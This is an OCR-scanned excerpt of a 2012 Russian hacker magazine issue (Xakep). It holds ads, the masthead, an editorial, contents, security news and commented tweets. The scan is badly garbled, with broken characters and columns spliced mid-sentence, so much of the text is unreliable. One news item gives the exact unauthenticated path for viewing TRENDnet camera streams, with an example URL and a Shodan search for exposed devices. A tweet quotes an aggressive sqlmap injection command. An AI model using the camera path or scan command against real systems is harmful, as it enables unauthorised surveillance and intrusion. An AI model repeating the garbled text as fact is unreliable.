xaker2012-04

(game}land hl路l懈n medla <1)

iiiiiiiiiiiiiii ~

~ -芯

ro _

o

路 ~ -N

=::::1

www.epidemz.net

~ .....

Альфа Банк

Оформить дебетовую или кредитную « Мужскую карту» можно в отделениях ОАО «Альфа-Банка », а так же заказав по телефонам :

(495) 229-2222

в Москве

\8-800-333-2-333

в регионах России (звонок бесплатный)

или на сайте

www.mancard.ru :0

:;

"'::2

Q)

0.. х

"'"' "'0.. "' с:

I

ОАО « Ал ьфа-Банк >> . Генераль н ая лицензия банка России на осуществление ба н ковских о п ераций от

www.epidemz.net

29.01.1998 N91326"

!!FiнEP ........

lntro

РЕДАКЦИЯ Главный редактор

Никита «nikitozz» Кислицин (nikitozrareal.xakep.ru ]

Ш еф -р е да ктор

Степан «step» Ильин l steoГcl '"ea l. xake g .ru ]

Вып ускаю щий редактор

Николай «gorl» Андреев lgorlum!areal.xakep.ru]

Редакторы рубрик

PC_ZONE и UNITS

Степан «step>> Ильин

lstepffi '"eal.xakep.ru ] (petya0rea l. xake o.ru ]

взлом

Петр Стаховски

UNIXOID и SYN/ACK MALWARE РR-менеджер

Андрей «Andrushock>> Матвеев (andrushockiOrea l.xakep.ru ] Александр «О г. К!ouniz» Лозовский (alexanderrareal.xakep.ru] Николай «gorl» Андреев [ g oг l umfOreal . xakep . г u ] Людмила Вагизова (vaq lzovaraqk.ru ]

Литературный редактор

Анна Аранчук

КОДИНГ

DVD Выn уска ющий редактор

Антон «ant» Жуков [ antrarea l .xakep.гu ]

Uni х- ра з дел Security-paздeл

Андрей «Andrushock>> Матвеев [ ~ n drushock0 гea l .xa kep.rul Дмитрий «D1g1 >>Евдокимов [evdoklmovdsragmall.com ]

Монтаж видео

Максим Т рубицын

ART Алик Вайнер [al i kiCiglc. гul

Арт-директор Дизайнер

Егор Пономарев

Верстальщик

Вера Светлых

Иллюстрация н а обложке

Алексей Ляnунов и Лена Эрлих

PUBLISHING У чр е дитель

000 «ГеймЛэнд)), 115280,

Москва,

у л. Ленинская Слобода, 19, Омега nлаза,

ВООБРАЖЕНИЕ И РАМКИ

5 зтаж, офис No 21.

Ге н ера льный директор

Дмитрий Агарунов

Ге н е р альный издатель

Андрей Михайлюк

Финансовый дир ектор

Андрей Фатеркин

Дир ек тор по маркетингу

Елена Каркашадзе

У пр ав ляющий арт-директор

Алик Вайнер

Гл ав ныйдиз ай н е р

Знди Тернбулл

Дир ек тор по пр оизво дству

Сергей Кучерявый

Т ел. :

[4951 935-7034, факс: [4951 545-0906

РАЗМЕЩЕНИЕ РЕКЛАМЫ Т ел.: [4951935-7034, факс: 14951 545-0906

РЕКЛАМНЫЙ ОТДЕЛ Заместитель генерального

Зинаида Чередниченко [zina

dachfaglc.ru ]

дир ектор а по продажам

Все по-настоящему новое- это выход за общепринятые рам к и представле ни йотом, что возможно, а что нет, что правильно, а что

абсур дно. Сделать что-то новое, не встречая потока критики и со­

Директор груnnы

TECHNOLOGY

Марин а Филатова

Старшие менеджеры

[filatovaraglc.ru ] Ольга Емельянцева [olgaem lfQgk.ru ] Светлана Мельникова [melnikovafaglc.ru )

Мен еджеры

Д м итрий Качурин [ ka c huпniCiglc .г u [ Елена Поликарп ова [ pol i karuovaraqlc.гu ]

мнений- в принципе невозможно, так уж устроены люди. Умение бытьчуточку сумасшедши м и иногда делать вещи, которы е кажут­ ся окружающим сомнитель ными или даже абсурдными -большое счас тьеl Ведь это снимае т с тебя шоры и по зволяет смотреть на

[работа с рекламными агентствами]

Дире ктор корпоративной групnы

Кристина Татаренкова

Старший трафик-менеджер

вещи шир е, чем остальные л юди.

В детстве у каждого человека все это есть: мы воспринимаем

[tatarenkovarag lc.ru l

Юлия Г ос подинова [gospodinovataglc.ru] Мария Дубровская [ dubгovskayaiCiglc.гu [ Марья Буланова [bulanovataglc.ru }

Старшие менеджеры

ОТДЕЛ РЕАЛИЗАЦИИ СПЕЦПРОЕКТОВ

мир с само го начала, живем и чувствуем все по-настоящему, без

Директор

Александр Коренфел ьд [ koгenfeldiCiglc . гu l

искусстве нны х границ. Н о вот с годами мышление большинства

Менеджеры

Светлана Мюллер Наталия Т улинова

людей сил ьно с т е реотипизируется и в определенный м о мен т разум перестает быть способным прои з водить что-то новое и вы­

РАСПРОСТРАНЕНИЕ

хо дить за навязанные снаружи рамки. Дажешнурки завязать п о­

Дир екто р по дистриб у ции

новому ч еловек уже не мож е т, не говоря уже о том, чтобы создать с нуля что-то.

Руководитель отдела nодnи ски

Татьяна Кошелева [ koshel eva!Og l c . гu ] Виктория Клепикова [lepikovafQglc.ru ]

Ру ково дитель

Наталья Лукичева [ luk i chevarag l c .гu ]

с n е цраспростран е ния

Пишу это к тому, что желаю и тебе и самому себе прон ести по жизни эту способ ность к созиданию, не ста ть долбаным и зомби. И не обязательно для этого быть Сальвадором Д ал и- место для творчества, дурачества и выдумывания естьабсолют но в любом деле, чем бы ты ни занимался .

nikitozz, гл.ред.Х

Претензии и доnолнительная ин фа: В случае возникновения вопросов по качеству печати и ОVО-дисков:

cla1m0gk .ru .

Горячая линия по подnиск е

Факс для отnравки купонов и квитанций на новые подписки:

[495]545-09-06 Т елефон отдела подписки для жителей Москвы: [495]663-82-77 Т елефон для жителей регионов и для звонков с мобильных телефонов: 8-800-200-3-999 Дл я писем: 101000, Москва, Главnочтамт, а/я 652, Хакер Зарегистрировано в Министерстве Российской Федерации по делам печати, телерадиовещанию и средства м мас совых коммуникаций ПИЯ

77-11802

от

14.02.2002.

Отпечатано в типографии Scanweb, Финляндия. Т и раж 219 833 зкземпляров.

P.S. Как и обещал, публикую фотографию логотипаХ на фоне станции «Восток>>-зто, на минуточку, практически южный полюс.

За фотку респект Сереге Сильновуl

Мн ение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация к размышлению. Лица , использующиеданную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция не несет ответ­ ственности за содержание рекламных объявлен ий в номере.За перепечатку наших материалов без сп роса- преследуем.

По вопросам лицензирования и получения прав на использование редакционных материалов журнала обращайтесь по адресу: c oпtent0_gk_r_!1 .

© 000 «Гейм Лэнд», ХАКЕР

04/159/2012

РФ,

2012

001

www.epidemz.net

Content

1100 МИНИАТЮРНЫХ РОБОТОВ RECON SCOUT Х Т ПРИНЯТЫ СЛ У ЖБ У АРМИИ СШ А: I

008

HEADER 004

016

MEGANEWS Все новое за n оследний месяц

011

О быстром развертывании виртуальных машин

017

hacker tweets Хак-сценавтвиттере

КолонкаСтепанаИльина Proof-of-coпcept

Идея: извлечь парали пользователей

COVERSTORY

Глаз-алмаз Интервью с Александром Галицким

COVERSTORY

018 Опасный двойник Легкий способ подделки кон­

трольной суммы и ЭЦП с помощью коллизий

www.epidemz.net

Windows из nамяти

116

PCZONE 030

Универонлайн

106

Звенья одной цепи

102

Можнолистатьспециалистом в IT, не выходя и з дома? Даl

036

-

UNIXOID

Расшарить приложение!

идущих на сменут ех нологиям дня вчерашнего

Учимся переносить запущенные программы с одного ком пь ютера на другой

040

«Google следит за тобой .

Разбираемся с

Мы- нет >>

взлом Easy- Hack Хакерекие се кр еты простых вещей

050

Битвы зеленых роботов

-

СуапоgепМоd

Анал и зсвеже нькихуязвимостей

056

ASP.NET: темная

12 2

сторона трассировки

Эксплуатируем систему регистрации и монит оринга исключе ний ELMAH

060

Взлом

128

Maii.Ru Агента

Пол уч аем доступ к истории переписки и контактам в популярном мессенджере

064

Будни халявщика Н евыдуман на яис т орияосерьезныхуязвимостяхпровайдера

068

Тибериумный реверсинг

134

ВнедрениеХ-кода и вирт уальная машина: теория и практика

072

X-Tools

139

Пр ограммы для в з лома

MALWARE 074

С антивирусами покончено! Последняя статья об устройстве аверов: монитори н г сетевой активности и песоч ниц ы

080

Выбираем альтернативную Апdгоid-прошивку:

116

Обзор зксплоитов

Неизвестнаяугроза

Новаязратерминальныхсистем Разворач иваем инф рас труктуру

Разворачиваем отказоустой чивый сервис хранения данных на базе

!Т- решени я от Mic r osoft: обзор гла вны х новино к 2012 года

FERRUM Сетевой форсаж Тести ров а н и е топовых р аутеров Просто конфетка!

Обзор порт ативной акустической системы Ed i fieг М Р1 5

FAQ UNITED

143

Диско

144

WWW2

Большой FAQ

8.5 Гб всякой всячины

метод инжекта

Тгuе-криптование

Д обавляем поддержку своих алгор итм ов в Tru eCrypt Задачинасобеседованиях Интересныезадания,которыедаютнасобеседования х

096

Паттерн << Шаблонный метод>>

100

WМI:обходзащит

Plus

юн и ты

кода и ав тозагрузки

092

Samba

Свежеедыхание

И спользо вание Shim Епgiпе для внедрения

088

VDI на Wiп2k8R2 и Liпux

Неизменно высокая доступность

Удобные wеЬ-сервисы

КОДИНГ Shim: новый

vs MIUI

SYN/ACK

140

Испытываем эв ри стикуа в еров на самых новых вирусах

084

kobjects, sysfs, udev, udisks и upo weг

11 1

1О причин обратить внимание на поисковик Duc kDuckGo.com

044

Новыевременатребуют перемен Описан и е технологий ближайшего будущего,

Инкапсуляц ияалг оритмов Неожиданный взгляд на привычные вещи

www.epidemz.net

MEGANEWS

НА PASTEBIN ПОЯВИЛСЯ АНОНС ГРЯДУЩЕЙ ОПЕРАЦИИ нГЛОБАЛЬНЫЙ БЛЭКАУТ». На31мартаякобызапланирована распределительная атака на

13 корневых

DNS-cepвepoв .

УБИЙЦАТЕЛЕВИДЕНИЯ

ПРИСТАВКИ НА СЛУЖБЕ

СОЗДАТЕЛЬ ПРОТОКОЛА BIТТORRENT ПРИДУМАЛ КОЕ-ЧТО НОВОЕ

полиции

к

ог~а Брэм Коэн создавал протокол ВitТоггепt, желая сделать «что-то

ПРАВООХРАНИТЕЛИ ТОЖЕ СТАРАЮТСЯ ИДТИ В НОГУ

деиствител ьно полезное людям>>, он совсем не ожидал такого от­

С ПРОГРЕССОМ

клика и такого успеха. П ристальное и не всегда приятное внимание

к его персоне, неожиданные пожертвования, посыпавшиеся от благодарных Коэна от ВitТоггепt. Но, к счастью, он все же продолжи л заниматься его под­

держкой и разработкой.

гочисленным операциям

хакеров,причисляю­

щих себя к Aпoпymous,

Недавно Брэм анонсировал н овую версию протокола, получившую имя

ВitТоггепt

лагадаря мно­

Б

пользователей, и сумасшедшая популярность его детища едва не отвратили

Live. На разработку Коэн потратил три года, и предназначается

у специалистов и про­

новшество для организации видеотрансляций через пирингавые сети. Теперь

стыхпользователей

даже при многомиллионной аудитории задержка передачи видео не должна

появилось н емало

превы шать и пяти секунд. ВitТоггепt

«информации к раз­

Live позволяет снизить нагрузку на рас­

пространителя файла до

99 %. По словам Коэна, передача видео таким обра з ом будетстоить дешевле, чем по спутнику или с помощью CDN, и для нее не по­

мышлению>>. Нап ример, в концепрошлогогода

требуется дорогостоящая инфраструктура. Бета-версия доступна по адресу

в Сеть слил и огромный

.," о

live. bittorrent.com, и автор уже заявляет, что BitTorreпt Liv e убьеттелевидение

"

в его текущем виде- должна кануть в лету физическая и нфраструктура ТВ.

Теперь Коэн находится в активном поиске партнеров, которые дадут согласие

apxивl pasteЬin . com/

Nw N8ehFWI спись­ мами представителей

на распространение своего контента по предложенной им модели. Известн о,

правоохранительных

что разработкой уже заинтересовались в

ор ганов , в том числе-

Netflix и Hu lu.

данные с Gmаil-аккаунта Министерства юстиции киберпреступлений Калиф орн ии.

а СамБрзмне с лишком одобряетвесь се годняшний пират­ ский бум и ни когда ничего не скачивал

нелегально . Он хо рошо понима ет,­

МРАА ,

RIAA и nрочи е

организации б у д ут

Эксперты

Ars Techпica основательно покапал ись в этом

архиве и пришли к интересн ым выводам. Оказывается, ХЬох, РSЗ и

iPad сегодня стали одн ими из основных

средствпоискадоказательстввсудебныхрассле довани­ ях. Временные отметки в сохраненных играх, контрольные

точки lчекпоинтыl и даже скриншоты (например, такие, как делает ХЬох Kiпectl,- все это является доказатель-

только рады , есл и

ством и может помочь в решении вопроса о виновности

он это сделает. н Ни

подозреваемого.

в коем с л учае не хочу давать им пов од, они навернякатолько этого и ждутн,­

говорит Коэн , и , вероятнее всего , он

nрав .

Такжеучастилось использование полицией онлай­

новых сред (таких как ХЬох Livel для общения с подо­ зреваемы ми и ведения записи переговора в. отмечает, что компания

Ars Techпica Microsoft вообще заре ги ст риро­

вала «законный перехват>>, то есть систему, позволяющую вести прослушку интернет-переговор ов , в том числе

в ХЬох

Live

или

Skype.

111 Windows8 ВЛАСТИ ИРАНА НАЧАЛИ

BWINDOWSS НЕ БУДЕТ КНОП-

В КАЗАХСТАНЕ ПРЕКРАТИ-

BANDROIDMARKET

ГЛУБОКУЮФИЛЬТРАЦИЮ

КИ нПУСК>>, хотя связанная

ЛИ РАБОТУ ПРАКТИЧЕСКИ

ПОЯВИЛСЯ АНТИВИРУС.

ИЗГPYППЫSWAGGSECURIТY.

трафика на магистральных

с нейфункциональность все

ВСЕ КРУПНЫЕТОРРЕНТ-

СервисВоuпсегбудет

Данные о серверах, информа-

FOXCONN ВЗЛОМАЛИ ХАКЕРЫ

каналах связи, убивая все

же сохранится в системе .

ТРЕКЕРЫ, что связано

автоматическисканировать

цию о партнерах компании,

SSL-соединения . Протокол

Также ОСобзавелась новым

с вступившими в силу в конце

всеприложениянапредмет

логины и пароли, и даже

НТТРSнеработаетнина

л ого.

января изменениями в за-

содержания вирусов и иных

платежные документы

конодательствестраны .

вредоносных программ .

выложили на ТРВ .

одном сайте .

Apple

ХАКЕР 04/159/ 2012

004

www.epidemz.net

01 ЕЖЕНЕДЕ/\ЬНИК В Э/\ЕКТРОННОМ ФОРМАТЕ ВЫХОДИТ В СУББОТУ УТРОМ

02

03

04

ГЕРОИ И 3/\ОДЕИ

АНГ/\ИЙСКОЙ

READER@GLC.RU ИЩЕМ ABTQPOB.

КАЖДУЮ НЕДЕ/\Ю НАШ КО/\УМНИСТ

ПРЕМЬЕР -1\ИГИ ПО ПОНЕДЕ/\ЬНИКАМ

ПРИСЫ/\АИТЕ ИНФОРМАЦИЮ О СЕБЕ

КУ/\ЬТУРЕ

www.epidemz.net

О ФУТБО/\ЬНОЙ

MEGANEWS

СОЦИАЛЬНАЯ СЕТЬ <<ВКОНТАКТЕ~~ окончательно перебралась на международный домен vk .com .

УЯЗВИМОСТЬ В УСТРОЙСТВАХ

ДОБРО ПОЖАЛОВАТЬ

TRENDNET

В ДОПОЛНЕННУЮ РЕАЛЬНОСТЬ!

ЧТОБЫ ПОСМОТРЕТЬ ВИДЕО, ДОСТАТОЧНО ЗНАТЬ ТОЛЬКО IР-АДРЕС КАМЕРЫ

GOOGLE СОБИРАЕТСЯ ВЫПУСТИТЬ УСТРОЙСТВО AUGMENTED REALIТY

1!1

Сетидавным-давно циркулируютслухи ото м, что у корпорации

Google есть секретные подразделе­

ния, где ведется разработка безумных гаджетов,

чуть ли не сборка Терминаторов. А недавно появились со­ общения, что сейчас в жилых домах сотрудников компании проводитсятестированиенекоего«прототипаразвлека­

тельного устройства», работающего в составе домашней сети и способного подключаться к бытовой электронике посредством Wi-Fi и

Bluetooth. Возможно,

речь отелевизи­

онной приставке oтGoogle, а возможно-о панели управ­ ления умным домом. Доподлинно ничего не известно, ведь

Trendnet уже nри­ з нала , что с 2010 года данная уязвимость

действительно прис у тствует в

26

моделя х ее ви­

деокамер , и недавно

опубликовала нов ую версию прошивки, которая закрывает

информация просочилась в сеть случайно-из заявки на разрешение означенного тестирования, которую

Google по­

дала в американскую Федеральную комиссию по коммуни­ кациям. Большая часть таких сообщений, увы, так и остается слухами, не получая ни подтверждений, ни опровержений.

Но информация, nоявившаяся в Сети в этом месяце, носит иной характер. Сначала вспомним ото м, что еще в декабре прошлого года начались первые разговоры ото м, что в

Google работают над какими-то очками, которые в народе Google Glasses. Информация происходила из солидного источника - издания NewYoгk Times, которое

дырк у.

тут же окрестили

к

омпания Tгendпet широко известна благодаря своим системам домашнего видеонаблюдения. Но

не замечено в распространении «желтухи». Подробностей

и у любого крупного вендара случаются оплош­

было мало: некое «носимое>> устройство, вероятно, конку­

ности. Недавно в версии прошивки 1.1.0 lbuild 104) была

рент будущего

обнаружена уязвимость, позволяющая подключаться

и домь1слов, например ото м, что Google обратила внимание

iPod nano.

Появилось множество догадок

к системеТгепdnеt через интернет и смотреть видео

на так называемый

с любой IР-камеры: достаточно просто ввести ее IР-адрес

из компьютерных игр и обозначает часть графического ин­

и добавить к нему nуть из

терфейса пользователя, служащую для отображения важ­

15 символов, одинаковый для

всех моделей. Никакого па рол я не нужно. Для доступа

Heads-Up Display IHUDI. Термин пришел

ной информации во время игрового процесса. Разумеется,

к видеопотоку !даже если он запаролен), достаточно про­

это наводило на мысли о дополненной реальности. Между

стодобавить в конце пyть/anony/mjpg.cgi, и весь контент

тем, сайт 9to5google.com узнал больше деталей и писал, что

прекрасно отображается. Например, введя такой адрес:

http:l/192.168.1.3/anony/mjpg.cgi, ты получишь беспа­

поданным их источника разработка уже на стадии позднего прототипа. И вот прошло больше двух месяцев, пессимисты

1

ральны й доступ к домашней системе видеонаблюдения,

которая установлена на 1 Р-адр есе

192.168.1.3.

уже наверняка мысленно похоронили проект, но данные

о загадочном девай се поя вились снова, на сей раз более

1

Совсем не удивительно, что эта новость уже разлете­

подробные. Итак, источник 9to5goog le.com сообщает:

лась по сети, на Pastebiп выложили список более чем на

1 000 IР-адресов, 1

немнагим меньше собрали на

<<Прототип уже на поздней стадии разработки и выглядит

Reddit.

ТRЕПDПЕТ

Р-адреса систем видеонаблюдения также легко ищутся

через

shodanhq.com,

iV~P11 0WN

который для этого и предназначен.

в точности как обыкновенные очки в тяжелой оправе. В них встроен дисплей с НUО-интерфейсом. На дужках есть не­ сколько кнопок, и если бы не они, очки невозможно было бы

Достаточно ввести поисковый запрос [netcam).

отличить от обь1чн ь1х. Н асколько нам известно, это не перифе­

рий но е устройство для других And гоid-девайсов, как сообщал ТОП ПЛОХИХХОСТИНГОВ СОСТАВИЛА КОМПАНИЯ

GROUP-IB

NYT, - очки напрямую связываются с облаком. Однако они Bluetooth 4.0. Область приме­

могутиспользовать Wi-Fi или

нения-дополненная реальность, которая будет привязана

к сервисам геолокации

Google. Пользователь можетгулять,

а на дисплее очков, в духе Терминатора, будет всплывать информация об увиденных предметах. Очевидно, очки имеют

ПО РЕЗУЛЬТАТАМ

ИССЛЕДОVВАНИЙ САМЫЙ

ОПАСНЫИНАКОНЕЦ2011 ГОДА ХОСТЭАРЕГИСТРИРОВАН В ЛИТВЕ-ЭТО HOSTING MEDIA.

встроенный

GPS и, по-видимому, работают на Andгoid».

Известно, что дисплей есть толькодля одного глаза, он непрозрачный и без 30. Навигация по интерфейсу осущест­ вляется с nомощьюдвижений головы, она проста, и к ней,

пишeт 9 to5google.com , оченьлегко привыкнуть. Движения головы будут практически незаметны для окружающих. Тех­ нические характеристики очков, вероятно, будутсапоста ви ­ мьl сАndгоid-смартфоном. Ну и самое интересное: сообщает­

ся, что

Google может выпуститьустройстводовольно скоро.

ХАКЕР

006

www.epidemz.net

04 /159/2012

www.epidemz.net

MEGANEWS

АПДЕЙТУСТРАНИЛ 20УЯЗВИМОСТЕЙ ( включая одну критическую) в стабильной версии Google Chrome 17.0.963 .46 .

SYMANTEC УТВЕРЖДАЕТ,

ЧТО

В КИТАЕ МОБИЛЬНАЯ ЭПИДЕМИЯ БОТНЕТ ИЗАNDRОID-УСТРОЙСТВ ЗАМЕЧЕН В ПОДНЕБЕСНОЙ

РОБОТЫ НА ВООРУЖЕНИИ АРМИИ США КРУПНУЮ СДЕЛКУ

пециалисты компании Symantec обнаружили

D

малварь под названием

RootSm art,

которая

а

в

110-140тыс.

догово ренностя м, до

енное ведомство С Ш А заключило контакт с ком­

панией Rесоп

Robot ics, для

которой это круп­

нейшая с делк а за всю историю сущес т во вания . Согла сно

активных у стройств

распространяе т ся в альтернативных китайских

мерикан ские вое нны е тоже любят гаджеты. В о­

в день-таков итог

31

мая тек ущего г ода армии С Ш А

будет поставлена партия из

роб отов

анализа трафика на

Rесоп

Andгoid M a г ket подобного, к счастью, обнаружено не

С&С - серве ра х . Спе ­

миллио н ов долларов . Помимо роботов, военные заказали

ц иа л исты считают ,

Scout ХТ.

1100 миниатюрных

каталогах программнаго обеспече ни я. В официально м

Заказ оценивается ни много н и мало в

было. Roo tSma гt ус танавлива ется вм есте с обыч н ым ПО

ч т о ботнет ф ункцио­

дополните л ьных аксессуа ров для R есоп

из каталога, н о при э том п е ред ает на уд але нны й сервер

нир ует приблизи­

миллион доллар ов.

ном е р

те ль на с се н тяб р я

IMEI , номер IMSI,ID соты,lосаtiопагеа code и

код

2011

мобильн ой се ти.

го д а.

Scout Х Т еще

на

<< Несмотря на малый размер, эти машины сыграют

ог ромную роль в обеспечен ии наших бойцов актуальной информацией о происходящем на п оле боя>>, - заявил

RootSm a гt- в сего вторая прогр амма nосл е из­

вестного Giпgeг Masteг, которая на практике применила

представитель R есоп

известный экс плойт Gingeгbг eak. Н о, в отличие от пр е д­

сколько месяцев назад военные уже закупили

шественника, R ootSmaгt н е п оставляется в комnлекте

роботов , в Пентагоне с этим абсолютно согласны.

Robotics.

Судя п отом у, что не­

315 таких

Чтопр едст авляют соб ойэтичудо-железяки?Rесоп

с гооt-эксnлойтом , а п одгружает G ingeгbгeak с удален­ но г о сервера уже nосле ус тан о вки. Rо оt -э ксnлойт идет

Scout ХТ - это автономная

в архиве

че т кости в тит ановом корnусе, способная пере дават ь

shells.zip

13.9

в комплекте с двумя вспомогательным и

видеокамера высокой

качественную карт ин к у наналадонн ик оператора. Проч­

скриnтами для у становки в систе мную область. П осле рутования телефона програм ма по дгр ужаете удаленного

ная конструкция ро бота п озволяет в букваль н ом смысле

сервера еще и Dг oid

забрасывать его на ра сстоя ние до

Live,

которая уже исп олняет роль

сре д ства у дал е нн о гоадмини ст рир ования и выполня ет

всего поражае т способность

36 метров. Но боль ш е Recon Scout ХТ преодол е ­

команды с сер вера. Таким образом телефон ста н овится

вать вертикальные препятствия. Эта кроха может бо дро

частью ботнета, и на порута н ном т е леф о н е хозяин бот­

nеремещаться и маневрировать на вертикальной с т е не

нета, по сут и , может инициир ова ть любы е д ейс тви я. П о о ц енкамспециа листов , ботнетп ри н оситсвоимхозяевам

[youtu .be/5fzi7fxknlc ]l И с пользуя инфракрасный се н со р и бесшумный при в од, Rесоп Scout ХТ может впл от ную по­

от

добр аться к <<логову врага » , не возбуждая подозрений.

1 600 д о 9 000 доллар о в

в су тки.

WEXLER.BOOK Т7007 ЭЛЕКТРОННАЯ КНИГА ПОД УПРАВЛЕНИЕМ ОС п ро д ажу п осту пила электронная

Объем встроенной памяти составляет В ГБ , н о

книга

при желаниии его можн о расш ири ть до

WEXLER.BOOK Т7 007, рабо­ тающая на базе Andгo i d 2.3. Техни­ ческие характеристики новинки т аков ы: 7" сенсо рны й LЕD-экран с ф у нкци ей Multi-Touch, дв ух ъядерный процессорАRМ9, с частотой 1,2 Г Гц и встроенный а д аnтер Wi - Fi [1 ЕЕЕ 802.11 Ь/g/n ] со скоростью доступа до 150 М Бит/с.

[]

ANDROID 2.3

помощью карт

32 ГБ с MicroSD . WEXLER.BOOK Т7007

т акже оснащается датчик ом простра н ствен ­

наго пол оже ния G- сенсор, и функцией под­

клю ч ения внешних U SВ-устройств [USB OTG]. Ридер выполнен в эргономичном металличе ­ ском корпусе и пос т авл я ется в кожаном чехле.

Длит е льн ое время раб оты устройству обе­

Ориентировочная розничная ц е на н ови нки

спечивает аккумулятор емкостью

-4999

3700

мАч.

руб.

ХАКЕР 04/159/2012

008

www.epidemz.net

Можно все! Нельзя стоять на месте Ищем менеджеров по рекламе

job.glc.ru

(game}land Работа в стиле

www.epidemz.net

funk

MEGANEWS

ПОДВЕДЕНЫ ИТОГИ ПЕРВОГО ГОДА РАБОТЫ ПРОГРАММЫ

BUG BOUNТY: Google выплатила за ба г и более 410 ты с . долларов .

ВИРТУАЛЬНЫЕ РЕАЛИИ И ДРУГИЕ ИНТЕРЕСНЫЕ ВЕЩИ О ЛЕКЦИИ ДЖЕРЕМИ БЕЙЛЕНСОНА И КРУТОМ ОБРАЗОВАТЕЛЬНОМ ПРОЕКТЕ

1!1

середине февраля жители М осквы [и нетолькоони, но об этом поговорим ниже] могли прис у тствовать Но лекции Джереми Бейленеона - основателя

лаборатории Viгtual

Human lnteгaction Lab в Стэндфорд­

ско м университете [ vh il .staпfoгd . edu ]. Будучи профессором факультета коммуникаций, Бейленсон нетолькатрудится в одной иэ самых крутых лабораторий виртуальной реаль­ ности в мире, но и специализируется на когнитивной психо­

логии . Проще говоря, ему интересно, каким образом люди могутосознавать себя, когдафизически е условности пер е­ стают иметь значение. Лекция под названием << Бесконечная реальность»прошлаврамкахдистанционногообразова­

тельного проекта Knowledge Stгeam [ know l edgestгeam . гu ]. Как ты nонимаешь, ключевым словом здесь является <<дис­ танционныЙ >>. В се мероприятия можно совершенно бес­

nлатно по сетитьлично, приехав в <<Цифровой окт ябрь>>, но можнотакже посмотреть в прямом эфире или в архиве, ведь

..

ихтранслируютвинтернетдлядесятковтысячзрителей.

Синхронный перевод и НО -качество прилагаются. Джер еми Бейленсон начал свое выстуnление немного необычно да~им

-вместо телемоста аудитории предложили посмотреть

YIII>IБKИ

вступительноевидео. П осредством20-минутнойзаписи Бейленсон объяснил, что не станетсегодня фокусироваться

~ Roitetecom

на технологиях и методологии, так как всю информацию о них можно найти в Сети, но расскажет о результатах ряда экспериментов. Р ечь шла о цифровых а ватарах в самом

широком смысле этого оnределения: практически о любой цифровой репрезентации человеческой личности, будтода голос, передан ны й по

Skype, персенаж онлайновой игры или

воссозданная п ри по м ощи с п ециального П О точн а я вирту­ альнаякопияреальногочеловека.НапримерахБейленс он рассказывал, как человек воспринимаетсебя, в тех или и н ых виртуальных условиях, в <<телах>> различных аватаров.

К примеру, пациентожогового отделения во время пере­

оставлять в сети так называе мые <<цифровые отпечатки>> [то

вязки, разумеется, испытывает боль. Но исследования пока­

есть прак тически любые с леды] и, кон ечно, не обошлось без

зали, что если на голову пациенту одеть шлем виртуальной

обсуждения потенциального вреда, который может нанести

реальности, которыйпе р енесет его в холодный мир, где

человеку излишн ее погружение в вирт уальность .

Стоит заметить, чтодругие лекции проекта

много снега, льда, потрясающей красоты кристаллов и так

далее, ощущения бо л и снижаются едва ли не на

90%.

По окончании видео Д жереми уже лично присоединился

Дистанционный обра зовате ль­ ный прое к т Kпowledge был з апущен осенью

Stream 2011 год а

Ц е нтром новых технологий и технологического nредпри­

Knowledge

нимат е льства

Digital Dctober. Ге­

неральным партнером Kпowledge

Stгeam свободнодо ступны на сайте про ек та и тоже стоят

Stream выст у nает к омпания

озна комления. К примеру, недавнолекцию читал Джан

« Ростелеком н , интеллектуаль ­

к беседе, немногодополнив изложенное в ролике. На­

Перри Барл оу - основатель и вице-председатель E lectгo nic

ступила очередьтрадиционных вопросов из зала и беседы

Fгontieг Founda tion, эксперт по компьютерной безопасности,

с экспертами. Аудитория интересовалась, не аватарли,

а так же поэт и эссеист. Д искусс ия о копирастах, авторских

часом, сам Б ейленсон, ч т о ждет нас в будущем, опасно ли

nравах и свободе информации вышла крайне интересной.

ным партнером- се Российская венч у рная компания н.

УЛЬТРАНОВОСТЬ ОТ ~~ЯВЫ ЗОЛОТОЙ»! <<Я в а Золотая » представляет новую версию сигаре т

решений от << Я вы Золотой>> и выбери вкус, оnтимально

с филыром-мундштуком- << Ява Золотая Ультра

nодходящийименнотебе! « ЯваЗолотаяУлыраТур­

Турбо >> .

бо >> - это современный дизайн, традиционно высокое

Теперь сигареты << Я в а Золотая >> с филыром­

качество табака и nопулярный во всем мире фильтр!

мундштуком представлены в двух версиях- Турбо

Новые сигареты обладают всеми качествами nервой

и Ультра Тур б о . Безуnречное сочетание отборных

версии- смелого решения

сортов табака и мировых технологий nозволили

Турбо >>, при этом содержание смолы и никотина в

нам nо-новому раскрыть уже знакомый турбовкус!

дыме сигареты существенно ниже : смолы-

Почувствуй nреимущества смелых технологичных

никотина-

0,4 м г,

СО-

2011

года << Я вы Золотой

4 м г,

5 м г.

МИНЗДРАВСОЦРАЗВИТИЯ РОССИИ ПРЕДУПРЕЖДАЕТ: КУРЕНИЕ ВРЕДИТ ВАШЕМУ ЗДОРОВЬЮ www.epidemz.net

1!!1 liiil

ГclnOObznet:

ГciFirefoxNightly:

./sqlma p.py -u http://uгl/ --cгa wl=5 --level=5 --гisk =3 --thгeads=10 <-

для всех dll-модулей в пла­

может дать некоторые практи­

Ты может быть и нуб, но ты ну б

гинах [для Виндыl так как

ческие результаты, но не из-за

Комментарий:

Шутки шутками, но sqlmap- дей­

ствительно крутая тулза для эксплуатаций

<<Физика - как секс: конечно,

АSLRтеп ерь обязателен

нe-ASLR модули могут разрушить всю

э того мы ей занимаемся.>>

безопасность http://t.co/JQFdZгZ4

Ф ей нман

El

Комментарий: Хороший ход для F iгefox, но ...

SQLi-дыpoк.

lcl Доктор Ричард

<3

1!!1 Комментарий: liiil Рича рд Филлипе Фейнман [англ. Richaг d

Phi ll ips Fеуп mап ; 11 мая 1918 - 15 19881 - выдающийся амери­

февра л я

канск ий ученый. Основные достижения

Гclpa_kt :

Эксплуатаци я

Я предлагаю заменить выра­ жение << как отнять конфетку

у ребенка» на <<как обойти

антив ирус>> ... По сути- одно и то же

:1

1!!1 Комментарий : liiil Обхождение антивируса, чаще всего, не сама я сложная задача при пентесте, тут

Крис прав ..

CVE-2011-2371

[Fiгef ox гeduc e Rightl без исполь­

Один из создателей квантовой электроди­

зования нe - ASLR модулей :

намики. В

годах входил в число

Ал амосе .

1!!1 Комментарий: liiil ... но этого не достаточно! Увлекательное чтиво про эк сп луата цию дыры в F i гefox с обходом

ASLR

DEP

и

AS LR . ROP

обход ится не через

в нe-ASLR модулях, а через утечку базо вого адреса

dll

и уже последующего построе ния

RОР - программы для получ енной d ll' ки.

